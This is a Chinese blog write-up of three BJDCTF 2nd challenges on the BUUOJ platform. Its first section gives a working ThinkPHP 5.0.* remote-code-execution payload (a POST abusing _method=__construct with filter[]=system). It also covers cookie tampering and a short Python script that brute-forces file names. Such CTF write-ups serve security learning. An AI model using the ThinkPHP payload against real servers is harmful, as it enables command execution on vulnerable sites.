zoukankan      html  css  js  c++  java
  • [BUUOJ记录] [BJDCTF 2nd]old-hack & Schrödinger & elementmaster

    三道比较简单的的题放一起一写,old-hack是ThinkPHP框架的一个nday,Schrödinger和elementmaster没啥考点,就是脑洞

    一、old-hack

     进入题目没发现什么Hint和有用的东西,只给出了ThinkPHP5的提示,猜测应该是考察一个ThinkPHP5的nday,

    想办法构造一个ThinkPHP的报错看一下详细版本:

    http://a504dd5e-6b7c-407f-ab11-ee1c9efdc3f3.node3.buuoj.cn/index.php?s=1

    百度查一下这个版本的漏洞,发现有一个RCE的漏洞:ThinkPHP5.0.*版本代码执行漏洞

    直接构造Payload,得到Flag:

    http://a504dd5e-6b7c-407f-ab11-ee1c9efdc3f3.node3.buuoj.cn/index.php?s=captcha
    
    POST_DATA: _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag

    二、Schrödinger

    名字很高大上,薛定谔( 遇事不决,量子力学

    进入题目看到是一个爆破密码的页面,提示删除test.php文件,,访问一下发现存在,应该是让我们爆破test.php文件了:

     输入http://127.0.0.1/test.php点击Input开始爆破,根据文字提示得知当爆破进度达到100%时可以得到结果,但是后面爆破得非常慢

    出题人给出的Hint是“多关注cookie”,查看cookie后发现base64加密之后的时间戳:

     解码之后应该是 user=当前时间戳。

    直接将该值置空后刷新页面,点击Check得到一个B站av号:

     B站访问(还是个量子力学的讲座,真贴合题目),评论区找到Flag:

    闲话:看这个视频评论区的时候还看到了一位初中自学量子力学的大佬。。。我初中的时候还在挖SQL注入。。。可能这就是大佬的世界吧

    三、elementmaster

    彻头彻尾的脑洞题,没啥说的,进入题目查看源代码发现隐藏的文字,id出现的有点突兀,hex解码一下发现是元素:

     解码后得到Po.和php,访问Po.php发现返回了一个 .

    这个时候队友说了一句不会是用元素周期表爆破吧,然后写了脚本试了一下,得到Flag所在文件名:

    import requests
    
    url = "http://d8e281df-f647-45ea-97aa-768fa2a930f5.node3.buuoj.cn"
    
    dict = ['H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',
            'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br', 
            'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te', 
            'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm', 
            'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn', 
            'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr',
            'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue']
    
    for element in dict:
        req = requests.get(url+'/'+element+'.php')
        if "404" in req.text:
            pass
        else:
            print(req.text)

    得到文件名: And_th3_3LemEnt5_w1LL_De5tR0y_y0u.php,访问得到Flag:

  • 相关阅读:
    红蓝对抗
    SQLMAP用法大全
    Web安全工程师(进阶)课程表
    msf连接PostgreSQL数据库
    我的web安全工程师学习之路——规划篇
    web安全深度剖析pdf
    js面试题
    js克隆一个对象
    js面试必考:this
    前端面试:js数据类型
  • 原文地址:https://www.cnblogs.com/yesec/p/12561309.html
Copyright © 2011-2022 走看看